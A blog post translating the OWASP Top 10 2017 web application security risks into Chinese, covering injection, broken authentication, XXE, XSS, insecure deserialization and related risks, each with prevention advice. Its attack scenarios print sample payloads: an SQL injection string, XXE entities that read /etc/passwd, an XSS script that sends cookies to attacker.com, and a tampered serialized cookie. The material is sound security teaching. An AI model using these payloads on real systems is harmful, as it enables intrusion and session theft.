笨熊之家

欢迎来到笨熊之家~

0%

【翻译】OWASP 2017年应用安全风险-Top 10

OWASP Top 10 Application Security Risks – 2017

部分个人觉得不太好翻译的内容保留英文原文

开放式 Web 应用安全项目, OWASP 风险评级:

评级角度 描述
Exploitability 漏洞是否容易使用
Weakness Prevalence 漏洞的流行程度
Weakness Detectability 漏洞是否容易被发现
Technical Impacts 漏洞的影响程度

A1:2017 注入

评级角度 星级
Exploitability *
Weakness Prevalence **
Weakness Detectability *
Technical Impacts *

不可信的数据被当作命令或查询的一部分发送到解释器而引发的注入漏洞,例如SQL, NoSQL, OS和LDAP注入。
攻击者的恶意数据可以欺骗解释器,使得其执行恶意代码或访问未授权的数据。

什么样的应用容易受到此类攻击

  • 应用没有对用户提供的数据进行验证,过滤和审查。
  • 在解释器中直接使用没有上下文相关转义(context- aware escaping)的动态查询或非参数化的调用。
  • 在ORM查询参数中使用外部数据来提取额外的敏感记录。
  • 直接使用或拼接外部数据,例如在动态查询,命令或存储过程中,SQL语句或命令同时包含结构(select)和外部数据(')。

注入漏洞常见于 SQL,NoSQL,系统命令,ORM,LDAP,表达式语言和 OGNL 。

各类解释器中都可能存在这种问题。检查一个应用是否容易受到注入攻击,最好的办法就是代码评审,紧接着是对所有参数,信息头,URL,cookie,JSON,SOAP,和 XML 数据输入做全面的自动测试.

团队可以把静态代码测试和动态应用测试工具加入到持续集成/持续部署的流水线中,在部署到生产环境之前检查是否存在注入漏洞。

如何避免

  • 使用更安全的 API ,避免使用解释器或是仅使用参数化接口,也可以选择使用 ORM 。
  • 服务端主动验证输入,或采取白名单机制,仅接受白名单内的字符。
  • 对剩下的动态查询中的特殊字符进行转义。注意:类似表名,列名的 SQL 结构是不能被转义的,因此由用户提供结构名是很危险的。
  • 在查询中使用 LIMIT 和其他 SQL 控制结构来避免 SQL 注入时数据库记录的大量泄漏。

攻击场景示例

场景 #1: 应用将不可信数据拼接到 SQL 语句中:

1
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

场景 #2: 类似的,此例中应用对框架盲目的信任导致该查询仍然容易受到攻击,(e.g. Hibernate Query Language (HQL)):

1
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

在以上两种场景中,攻击者都可以在他们的浏览器中修改id参数为 ' or '1'='1 . 例如:

1
http://example.com/app/accountView?id=' or '1'='1

这样修改之后,以上两种场景中,应用都会返回账户表中的所有记录。更危险的攻击可能会修改或删除数据,甚至调用存储过程。

A2:2017 破坏身份认证

评级角度 星级
Exploitability *
Weakness Prevalence **
Weakness Detectability **
Technical Impacts *

应用中涉及认证和会话管理的方法很少被正确地实现,这也使得攻击者有机会盗取口令,密码或凭证,又或是通过其他实现的漏洞来临时乃至永久冒充用户身份。

什么样的应用容易受到此类攻击

想要防御认证相关的攻击,关键点在于正确实现用户身份的确认,相关认证机制以及会话管理。

如果应用包含以下特征,该应用中可能存在认证漏洞。

  • 允许使用自动化攻击,如攻击者使用一个包含有效的用户名和密码组合的列表(一般来源为数据库泄漏)进行认证信息填充攻击。
  • 允许使用暴力破解或其他自动化攻击手段。
  • 允许使用默认的,安全性弱的或是常见的密码,如Password1或是admin/admin
  • 使用安全性弱或是无效的认证信息找回和忘记密码流程,例如无法确保安全的”knowledge-based answers”。
  • 使用纯文本,加密或安全性弱的哈希密码(参考 A3:2017 敏感数据泄漏)。
  • 缺少或使用无效的多重认证。
  • 在URL中暴露会话ID(例如 URL重写)
  • 用户登录之后,会话ID没有改变(Does not rotate Session IDs after successful login)
  • 没有正确地把会话ID无效化。在用户登出或一段时间没有活动之后,用户会话或是认证令牌(尤其是单点登录的令牌)没有被正确地无效化。

如何避免

  • 尽可能采用多重认证,避免认证信息填充(credential stuffing),暴力破解和认证信息重用(stolen credential re-use)等自动化攻击手段。
  • 不要预置或部署带有默认认证信息的账户,尤其是针对管理员。
  • 实现弱密码检查,例如将新密码与排行前10000的弱密码列表进行比对。
  • Align password length, complexity and rotation policies with NIST 800-63 B’s guidelines in section 5.1.1 for Memorized Secrets or other modern, evidence based password policies.
  • 加固注册,认证信息找回和相关的API路径,对所有输出都返回统一的信息来防御账号枚举攻击。
  • 登录失败之后,限制或延迟接下来的登录尝试。记录所有失败的尝试,检测到信息填充,暴力破解或其他攻击时,警告管理员。
  • 在服务端使用每次登录后生成新的随机会话ID的会话管理器。URL中不应该出现会话ID,应当妥善保存并在用户登出之后注销会话ID,必须对会话ID加上超时限制。

攻击场景示例

场景 #1: 一种常见的攻击方式是,利用泄漏的密码来实施认证信息填充攻击。如果一个应用没有实现针对自动攻击或认证信息填充的保护机制,那么攻击者就可以把这个应用作为密码验证器,来验证窃取的认证信息是否可以在该应用中使用。

场景 #2: 持续使用密码这一单一认证机制使得认证攻击频繁发生。而谈到最佳实践时,通常的做法时是鼓励用户定期更换密码和使用较复杂的密码,避免重复使用弱密码。根据 NIST 800-63 这份数字身份指导文档,开发应用的团队应当改用多重验证,而不是只依赖于密码。

场景 #3: 未正确设置应用中会话的超时机制。例如一名用户使用公用电脑登入一个应用,用户离开时没有选择注销,而是直接关闭浏览器之后就离开了。一个小时之后,攻击者使用同样的浏览器打开相同的应用,此时该应用仍认为之前的用户认证是有效的。

A3:2017 敏感数据泄漏

评级角度 星级
Exploitability **
Weakness Prevalence *
Weakness Detectability **
Technical Impacts *

许多网络应用和API都没有保护好敏感信息,例如金融,健康和个人验证信息(personally identifiable information, PII)。
攻击者可能会盗取或修改这些数据来实施信用卡诈骗,身份盗取和其他犯罪行为。
如果在和浏览器交换敏感数据之时或者之后没有加密等额外的保护,敏感数据很容易就会被盗取。

什么样的应用容易受到此类攻击

首先我们要确定数据在传输中和传输后有什么样的安全性需求。例如,密码,信用卡卡号,健康记录,个人信息以及商业机密,特别是那些在像欧盟的 GDPR 这样的隐私法,或是在像 PCI DSS 这样的法律的范围之内的数据,都需要进行额外的保护。

对于所有这样的数据:

  • 有数据是使用明文传输的吗?这意味着需要检查是否使用 HTTP, SMTP 和 FTP 这样的协议。外网通信是极其容易受到攻击的。同时也需要检查内网通信,例如负载均衡服务器,网络服务器或是后端系统之间的通信。
  • 有敏感数据是使用明文存储的吗?备份中的敏感数据呢?
  • 默认情况下或是在老旧代码库中会使用到过时或是安全性弱的加密算法吗?
  • 有在使用默认的密钥吗?是否会生成或重用弱密钥?是否有合适的密钥管理或轮转机制?
  • 加密是强制的吗?例如,是否有用户代理(浏览器)漏掉了安全指令或 Headers?
  • 用户代理(例如软件,邮件客户端)会验证接收到的服务端证书吗?

参考 ASVS Crypto (V7), Data Prot (V9) and SSL/TLS (V10)

如何避免

至少先做到以下几点,然后查询相关资料:

  • 把应用处理,储存或传输的数据进行分类。根据隐私法,监管要求或业务需要判断哪些数据属于敏感数据。
  • 根据分类加以对应的管理。
  • 不储存非必要的敏感数据。尽快销毁或使用符合 PCI DSS (Payment Card Industry (PCI) Data Security Standard,第三方支付行业数据安全标准) 标准的分词算法甚至是删减算法对数据进行处理。 未保存的数据是没办法被偷走的。
  • 加密储存的敏感数据。
  • 经常更新,使用安全性强的标准算法,协议和密钥。使用合理的密钥管理机制。
  • Encrypt all data in transit with secure protocols such as TLS with perfect forward secrecy (PFS) ciphers, cipher prioritization by the server, and secure parameters. Enforce encryption using directives like HTTP Strict Transport Security (HSTS).
  • 停止缓存包含敏感数据的响应。
  • 使用适应性强,并且带有工作系数(延迟系数)的加盐哈希算法存储密码,例如 Argon2, scrypt, bcrypt, or PBKDF2.
  • 分别验证配置和设置的有效性。

攻击场景示例

场景 #1: 一个应用把信用卡号存储在数据库中,依赖于数据库的自动加密机制。但是,从数据库中取出的数据是会被自动解密的,这就使得攻击者可以利用 SQL 注入漏洞来窃取明文的信用卡号。

场景 #2: 一个站点没有强制在所有网页上使用 TLS 或是允许使用安全性弱的加密协议。攻击者监听网络通信(例如 在一个不安全的无线网络中),将连接从 HTTPS 降级到 HTTP ,拦截请求并从中窃取用户的会话 cookie 。然后攻击者重放这个 cookie 并劫持用户(已认证的)的会话,访问或修改用户的隐私数据。与之前所不同的是,这次攻击者可以修改所有传输中的数据,例如 转账交易的收款账户。

场景 #3: 密码数据库使用未加盐或简单的哈希算法来存储所有人的密码。而攻击者可以借助文件上传漏洞获取到密码数据库,然后使用彩虹表破解所有未加盐哈希的密码。简单或快速的哈希函数产生的哈希值可能被 GPU 破解,即使加了盐。

A4:2017 XML外部实体漏洞(XML External Entities, XXE)

评级角度 星级
Exploitability **
Weakness Prevalence **
Weakness Detectability *
Technical Impacts *

许多旧的或是未配置正确的XML处理器会对XML文档中的外部实体引用进行求值。外部实体可以通过文件URL来访问内部文件,分享内部文件,扫描内部端口,执行远程代码以及执行拒绝服务攻击(denial of service, DOS)

什么样的应用容易受到此类攻击

基于 XML 的网络服务或是下游的集成方,满足以下情况则容易受到此类攻击:

  • 如果应用直接处理 XML 或是接受 XML 的上传,特别是来源不可信的 XML 数据。
  • 如果应用直接接受并使用 XML 处理器解析包含不可信数据的 XML。
  • 如果应用中的 XML 处理器或是基于 SOAP 的网络服务启用了 DTDs (文档类型定义)。正确的做法是关闭处理器对 DTDs 的处理,同时最好也去查看 OWASP Cheat Sheet 中的 ‘XXE Prevention’.
  • 如果你的应用因为联合安全或单点登录而使用 SAML 。SAML 使用 XML 来进行身份断言,因此也是容易被攻击的。
  • 如果应用使用1.2版本之前的 SOAP ,当 XML 实体传入 SOAP 框架时,应用很容易受到 XXE 攻击。
  • 容易受到 XXE 攻击意味着应用也容易受到 DOS(denial of service, 拒绝服务) 攻击,包括 Billion Laughs attack

如何避免

开发者需要经过训练才能发现和减轻 XXE 攻击带来的危害。除此之外,预防 XXE 攻击还需要:

  • 尽量使用没那么复杂的数据格式,如 JSON ,同时避免序列化敏感数据。
  • 更新应用或底层操作系统中所有正在使用的 XML 处理器和库。
  • 根据 OWASP Cheat Sheet ‘XXE Prevention’ 一节所述,关闭应用中所有 XML 解析器对 XML 外部实体和 DTD 的处理。
  • 服务端主动(白名单)对输入进行验证,过滤或清洗来避免 XML 文档,headers 或节点中的恶意数据。
  • 确保 XML 或 XSL 文件上传功能会使用 XSD 验证或类似的方法来验证外部提交的的 XML 。
  • 可以借助 SAST(Static Application Security Test, 静态应用安全分析)工具在源码中检查 XXE 漏洞,不过在大型的复杂集成应用中,最好是进行人为的代码复查。

如果这些操作都不可行,考虑使用 virtual patching (在请求与源码之间的中间层临时打补丁,紧急抵御攻击而不需要立刻修改源码), API 安全网关或是网络应用防火墙(WAFs)来侦测,监管和屏蔽 XXE 攻击。

攻击场景示例

有很多公开的 XXE 的问题被发现,其中包括用于攻击嵌入式设备的问题。XXE 会出现在很多意想不到的地方,包括深度嵌套的依赖中。使用 XXE 进行攻击最简单的方式是上传有害的 XML 文件,如果这个文件被接受了,那么攻击者可以尝试以下几种攻击:

场景 #1: 攻击者尝试从服务器获取数据:

1
2
3
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

场景 #2: 攻击者通过更改上面的 ENTITY 一行为以下内容访问到服务器的私有网络:

1
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

场景 #3: 攻击者试图通过包含一个基本上包含无穷无尽内容的文件来进行拒绝服务攻击:

1
<!ENTITY xxe SYSTEM "file:///dev/random" >]>

A5:2017 访问控制失效

评级角度 星级
Exploitability **
Weakness Prevalence **
Weakness Detectability **
Technical Impacts *

对认证用户可以做什么事情的限制通常不是很强。攻击者可以利用这些漏洞来访问未授权的功能/数据,例如访问其他用户的账户,查看敏感文件,修改其他用户的数据和修改访问权限等。

什么样的应用容易受到此类攻击

访问控制策略确保用户不能执行未被授予权限的命令。如果访问控制失效,通常会导致未授权数据泄漏,所有数据遭到修改甚至毁坏或者是执行一个不在用户授权范围内的业务逻辑。常见的访问控制缺陷包括:

  • 可以通过修改 URL,应用内部状态, HTML 页面或是直接使用自定义的 API 攻击工具来绕过权限控制。
  • 允许修改其他用户记录的主键(?),允许查看或编辑其他人的账户。
  • 提权。未登录时执行用户级别的逻辑或是用户登录后执行管理员级别的逻辑。
  • 元数据篡改,例如通过重放/篡改 JWT 访问控制令牌, cookie 或隐藏的数据域来提权,或是利用 JWT 的失效机制。
  • CORS(Cross-Origin Resource Sharing,跨域资源共享) 配置错误使得攻击者得以访问未授权的 API
  • 可以强制地,以未认证用户身份访问需要认证的页面或是以普通用户身份访问需要特权的页面。可以访问 POST,PUT 和 DELETE 操作缺少访问控制的 API。

如何避免

只有在可信的服务端或不需要服务端的 API 中强制执行的访问控制才是有用的,因为攻击者没办法修改访问控制的机制检查或是元数据。

  • 除公共资源外,所有资源默认禁止访问。
  • 实现访问控制机制并在整个应用中复用,其中包括尽量少地使用 CORS 的使用。
  • 模型的访问控制应该加强对记录所有权的检查,而不是放任用户创建,读取,更新和删除任何记录。
  • Unique application business limit requirements should be enforced by domain models.
  • 禁用服务器上的目录展示功能并确保根目录下没有元数据文件(例如 git )和备份文件。
  • 在日志中记录下访问控制失败的信息,合适的时候通知管理员(例如 重复的登录失败)。
  • 对 API 和控制器的访问速度进行限制,最小化自动攻击工具造成的危害。
  • 服务器应该在用户登出后让 JWT 令牌失效。

开发者和 QA 团队应该引入有效的访问控制单元和集成测试。

攻击场景示例

场景 #1: 应用在访问账号信息的 SQL 中使用了未验证的数据:

1
2
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

攻击者只需要简单地在浏览器中修改 acct 参数为任意账号并获取对应用户的账号数据。

http://example.com/app/accountInfo?acct=notmyacct

场景 #2: 攻击者直接定位到指定的 URL 。访问管理页面需要管理员权限。

1
2
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

如果未认证的用户可以访问这两个页面,或者普通用户可以访问管理页面,这就说明存在访问控制失效的漏洞。

A6:2017 安全配置不当

评级角度 星级
Exploitability *
Weakness Prevalence *
Weakness Detectability *
Technical Impacts **

最常见的问题是安全配置不当。通常是由不安全的默认配置,不完整或临时的配置,开放的云存储,错误配置的HTTP headers 以及 基本的错误信息中包含敏感信息引起的。只是安全地配置好所有操作系统,框架,库和应用是不够的,还需要及时更新它们。

什么样的应用容易受到此类攻击

存在以下情况的应用容易受到此类攻击:

  • 没有对应用栈的所有部分进行适当地安全加固,或是没有正确配置云服务的权限。
  • 启用或安装了不必要的功能(例如 不必要的端口,服务,网页,账号或是特权 )。
  • 仍保留并启用默认的账户和密码。
  • 错误处理中把 stack trace 或其他包含过多信息的错误信息暴露给用户。
  • 在更新后的系统中,未启用或未正确配置最新的安全特性。
  • 应用服务器,应用框架(例如 Struts, Spring, ASP.NET),依赖库和数据库中的安全配置没有设置为安全的值。
  • 服务器没有发送安全头或者指令,或是没有把它们设置为安全的值。
  • 使用的软件未及时更新,或者容易受到攻击(见 A9:2017 使用含有已知漏洞的组件)。

如果没有一个投入的,重复的应用安全配置流程,系统就会处于高风险状态。

如何避免

Secure installation processes should be implemented, including:

  • 设计一个可以快速简单地部署新的安全环境的流程。开发,QA和生产环境应该有一致的配置,但是不同的环境中认证信息不能一样。应该自动化这一流程来减少配置新的安全环境所需要的资源。
  • 搭建一个没有额外特性,组建,文档和范例的最小化平台。移除或是避免安装无用的特性和框架。
  • A task to review and update the configurations appropriate to all security notes, updates and patches as part of the patch management process (see A9:2017-Using Components with Known Vulnerabilities). In particular, review cloud storage permissions (e.g. S3 bucket permissions).
  • 通过分层,容器化或是云安全组来实现一个分层应用架构,其能够有效的,安全的分隔多个组件或使用者。
  • 向客户端发送安全指令,例如 Security Headers
  • 实现一个能够自动验证所有环境中配置和设定的有效性的流程。

攻击场景示例

场景 #1: 应用服务器上带有未从生产环境移除的示例应用。这些示例应用包含已知的漏洞,攻击者可以利用这些漏洞来入侵服务器。如果其中一个应用是管理控制台,而且默认的账户没有被修改,那么攻击者就可以使用默认的密码登入并且控制服务器。

场景 #2: 服务器没有禁用目录展示的功能。一位攻击者发现他可以轻易地展示出目录列表。这位攻击者发现并下载了编译后的 Java 类文件,随后对其进行反编译和逆向工程来查看代码,并从中发现了应用中存在的严重的访问控制漏洞。

场景 #3: 应用服务器的配置中允许将详细的错误信息返回给用户,例如 stack traces。这一配置潜在地暴露了敏感信息或者底层缺陷,例如组件的版本,攻击者可以借此查找对应的安全漏洞。

场景 #4: 一家云服务提供商默认将分享权限开放给网络中其他 CSP 用户。这就使得存储在云端的敏感数据可能被他人访问。

A7:2017 跨站脚本(Cross-Site Scripting, XSS)

评级角度 星级
Exploitability *
Weakness Prevalence *
Weakness Detectability *
Technical Impacts **

如果应用使用不可信数据来创建新的网页却又没有进行适当的验证或转义,或是通过可以创建HTML/JavaScript的浏览器API将用户提供的数据更新到现有页面上,这个时候就可能出现XSS漏洞。攻击者可以借助XSS在受害者的浏览器中通过执行脚本来劫持用户会话,破坏网站或是将用户重定向到恶意网站。

什么样的应用容易受到此类攻击

有三种形式的 XSS,攻击对象通常是用户的浏览器:

反射型 XSS: 应用或 API 将用户输入的内容不经验证和转义直接包含在输出的 HTML 中。一次成功的攻击使得攻击者可以在受害者的浏览器中执行任意的 HTML 和 JavaScript。通常用户需要点击恶意链接,跳转到攻击者的页面,例如恶意的酒馆(watering hole)网站,广告或者类似的内容。

存储型 XSS: 应用或 API 将用户输入的内容不加处理,直接存储,并在之后展示给另一名用户或者管理员。存储型 XSS 通常被认为是高风险的。

DOM XSS: JavaScript 框架,单页应用,以及会动态地将攻击者的数据展示在页面上的 API 容易受到 DOM XSS 的攻击。理想情况下,应用不应该把攻击者的数据传递给不安全的 JavaScript APIs。

XSS 攻击通常包括窃取 Session,接管账号,绕过 MFA(Multi-Factor Authentication, 多因子认证),DOM 节点替换或者污染(例如插入带有木马的登录界面),使用下载恶意软件,记录键盘输入和其他客户端攻击手段来攻击用户的浏览器。

如何避免

通过把不可信的数据从浏览器内容中分离出来,可以避免 XSS 攻击。相关措施:

  • 使用设计中就会自动转义 XSS 的框架,例如最新的 Ruby on Rails, React JS。了解清楚每个框架中 XSS 保护机制的限制,并且处理好那些没有被覆盖到的使用场景。
  • 基于 HTML 输出(body, attribute, JavaScript, CSS or URL)中的上下文来对不可信的 HTTP 请求数据进行转义,这样能够减小被反射型和存储型 XSS 攻击的风险。The OWASP Cheat Sheet ‘XSS Prevention’ 包含数据转义相关的技术细节。
  • 针对 DOM XSS 攻击,可以在修改客户端的浏览器内容时进行上下文敏感的编码。也可以参考 OWASP Cheat Sheet ‘DOM based XSS Prevention’ 中给出的其他可以应用于浏览器 API 的上下文敏感的转义技术。
  • Enabling a Content Security Policy (CSP) is a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).

攻击场景示例

场景 #1: 应用在构造以下 HTML 片段时不经验证/转义直接使用不可信的数据:

1
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻击者将浏览器中的CC参数修改为:

1
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

这次攻击将受害者的 Session ID 发送至攻击者的网站,使得攻击者能够劫持用户的当前 Session。

注意 应用部署的自动化 CSRF(Cross-site request forgery, 跨站请求伪造) 防御都可能被 XSS 攻击给破坏掉。

译者注:
XSS 利用的是用户对指定网站的信任,而 CSRF 利用的是网站对用户浏览器的信任。应对 CSRF 攻击的防御措施可能无法处理 XSS 攻击。

A8:2017 不安全的反序列化

评级角度 星级
Exploitability *
Weakness Prevalence **
Weakness Detectability **
Technical Impacts *

不安全的反序列化通常会引出远程代码执行的问题。攻击者也可以通过这个反序列化的漏洞进行重放,注入和提权等攻击手段。

什么样的应用容易受到此类攻击

如果应用和 API 反序列化攻击者提供的恶意的或者篡改后的对象,那么他们就容易收到此类攻击。
通常会导致两种主要类型的攻击:

  • 对象和数据结构相关的攻击:如果应用反序列化过程中或之后会动态更改相关行为,那么攻击者就可以因此修改应用的逻辑或是远程执行任意代码。
  • 普通的数据篡改攻击:例如 access-control-related attacks, where existing data structures are used but the content is changed.

应用中序列化常用于:

  • 远程或进程间通信(RPC/IPC)
  • Wire protocols, web services, message brokers
  • 缓存/持久化
  • 数据库,缓存服务器,文件系统
  • HTTP cookies, HTML form parameters, API authentication tokens

如何避免

唯一安全的架构模式是,只接受可信来源的序列化对象或是只允许基本数据类型的序列化。
如果以上方法不可行,那么考虑以下几种方法:

  • 检查完整性,例如通过比对序列化对象上的数字签名来避免恶意对象的创建和数据的篡改。
  • 通常代码只涉及到固定数量的类,因此可以在反序列化时对象创建之前确保严格的类型约束。有方法可以越过这一限制,所以不推荐单纯依赖这种方法。
  • 如果可以的话,在低限权的环境下隔离运行反序列化后的代码。
  • 使用日志记录下反序列化的异常和失败,例如输入的类型不是期望的类型,又或者反序列化过程中出现了异常。
  • 对来自容器或服务器的网络通信进行限制或监测。
  • 监测反序列化,如果一个用户持续地进行反序列化,进行示警。

攻击场景示例

场景 #1: 一个 React 应用调用了一系列的 Spring Boot 微服务。作为函数式程序员,他们想让他们的代码是不可变的。他们想出来的方案是,每次请求都将用户的状态序列化并来回传递。一名攻击者注意到 R00 这个 Java 对象的特征,并使用 Java Serial Killer 工具获取到在应用服务器上远程执行代码的能力。

场景 #2: 一个 PHP 论坛使用 PHP 对象序列化来保存一个“超级” cookie,其中包含了用户的用户标识,密码哈希以及其他状态:

1
2
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

一名攻击者修改序列化之后的对象来获取管理员权限:

1
2
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

A9:2017 使用含有已知漏洞的组件

评级角度 星级
Exploitability **
Weakness Prevalence *
Weakness Detectability **
Technical Impacts **

像库,框架和其他软件模块这些组件,通常和应用拥有相同的运行权限。如果有一个易受攻击的组件中发现漏洞,例如攻击者可以通过漏洞造成严重的数据丢失或server takeover。使用这种包含已知漏洞的组件的应用和API也可能受到相关攻击威胁。

什么样的应用容易受到此类攻击

  • 如果你不知道正在使用的所有组件版本(包括客户端与服务端,无论是直接依赖还是间接依赖)。
  • 如果软件容易受到攻击,不兼容,或者过期了。包括操作系统,网络/应用服务器,数据库管理系统,应用,API 和所有组件,运行时环境以及依赖库。
  • 如果你没有经常扫描漏洞以及关注组件相关的安全新闻。
  • 如果你不会基于风险及时地去修复或升级底层平台,框架以及依赖。通常在一个每月或每季度不定期 patch 的环境中,相关组织在数天乃至数月之中会不必要地暴露在一些漏洞的威胁之下。
  • 如果软件开发者没有测试更新,升级或者修补后依赖的兼容性。
  • 如果你没有加固组件的配置。 (见 A6:2017-安全配置不当).

如何避免

应该有一个 patch 的管理流程:

  • 移除无用的依赖,功能,组件,文件以及文档。
  • 使用类似 versions, DependencyCheck, retire,js 等工具,持续检查客户端与服务端组件和依赖的版本(例如 框架,库)。持续检查 CVE 和 NVD 上相关组件的漏洞。使用软件组合分析工具来自动化这一流程。订阅正在使用的组件相关的安全漏洞警告。
  • 只通过安全的链接,在官方来源获取组件。更倾向于下载签名过的包来减少引入一个恶意修改组件的几率。
  • 监测不再维护或者旧版本不再会有安全修补更新的库和组件。如果 patch 不可行,考虑部署一个 virtual patch 来监测,侦测或者保护已知问题。

每个组织必须确保在应用的整个生命周期中都有在监测,检查以及应用更新或配置的修改。

攻击场景示例

场景 #1: 组件通常具有和应用自身一样的权限,所以任何组件中的漏洞都可能导致严重的后果。漏洞可能是无意的(例如 编码错误)或者是有意的(例如 组件中的后门)。可入侵的组件漏洞例子如:

  • CVE-2017-5638, 一个 Struts 2 漏洞使得攻击者可以在服务器上远程执行代码,被指责造成严重的影响。
  • 物联网 (internet of things, IoT) 通常很难或者根本不可能进行修补,而修补它们的重要性也可能很高(例如生物医疗设备)。

有一些自动化工具可以帮助攻击者找到未修补或者未正确配置的系统。例如 the Shodan IoT 搜索引擎可以帮助你找到仍可能被 Heartbleed bug 攻击的设备,而这个漏洞在2014.4就修复了。

A10:2017 日志和监管不足

评级角度 星级
Exploitability **
Weakness Prevalence *
Weakness Detectability *
Technical Impacts **

日志和监管不足,再加上缺少或者无效的应急处理流程,使得攻击者可以进一步攻击系统,保持更长时间的控制,攻破更多系统以及获取/破坏数据。大多数漏洞研究表明,漏洞一般是在200天之后被外部人员发现的,而不是内部流程或者监管。

什么样的应用容易受到此类攻击

经常出现日志,检查,监测和主动响应不足的问题:

  • 没有记录需要审计的事件,如登录,失败的登录以及高价值事务。
  • 警告和错误没有生成或是生成不足/不清晰的日志消息。
  • 没有通过应用和 API 的日志来监测可疑活动。
  • 仅在本地存储日志。
  • 没有合适的或者有效的告警阀值以及响应上报流程。
  • 渗透测试以及 DAST 工具的扫描 (例如 OWASP ZAP) 没有触发告警。
  • 应用碰到正在进行的攻击时无法实时或及时地检测,上报或者告警。

如果你让用户或者攻击者能够看到日志或告警事件,那么你很有可能会遭受信息泄露的风险。(见 A3:2017- 敏感信息泄露).

如何避免

针对应用存储或处理的数据风险:

  • 确保所有登录,访问控制失败以及服务端输入验证失败都会被记录下来,并且保留足够的用户上下文,以便识别出可疑或恶意的账号,同时这些日志需要保留足够的时间在之后进行进一步的分析。
  • 确保所有生成的日志格式都可以很方便地被中心化的日志管理解决方案使用。
  • 确保使用完整性控制,例如只可追加的数据库表或类似措施来保留高价值事务的审计路径,避免被篡改或者删除。
  • 建立有效的监测和告警机制,确保可疑活动会被检测到,并且有及时的响应。
  • 建立或调整出一个应急响应和恢复计划,例如 NIST 800-61 rev 2 or later.

应用保护框架有商业的,也有开源的,例如 OWASP AppSensor, 网络应用防火墙有如 ModSecurity 搭配 OWASP ModSecurity Core Rule Set 以及带有自定义面板和告警的日志纠正软件。

攻击场景示例

场景 #1: 一个小团队开发的开源论坛软件因此其软件自身的漏洞被黑了。攻击者成功移除了包含下一版本的内部源码仓库以及其论坛所有的内容。尽管代码可以恢复,但监测,日志或告警的缺失导致了更糟糕的入侵。这个问题的结果是,该论坛软件项目不再活跃。

场景 #2: 一名攻击者使用一个常见密码扫描所有用户。他们可以接管所有使用这一密码的账户。对于其他用户,这次扫描只会留下一次失败的登录。不久之后,攻击者可以换一个密码再重复这一过程。(译者注:而日志/监管不足的应用是无法及时发现这一现象的)

场景 #3: 据说一家 US 主要的零售商内部有一个恶意软件分析沙盒用来分析 attachments。沙盒软件已经检测到潜在的意料之外的软件,但是没有人响应这一检测结果。在外部银行发现信用卡欺诈之前,沙盒就已经在产生警告了。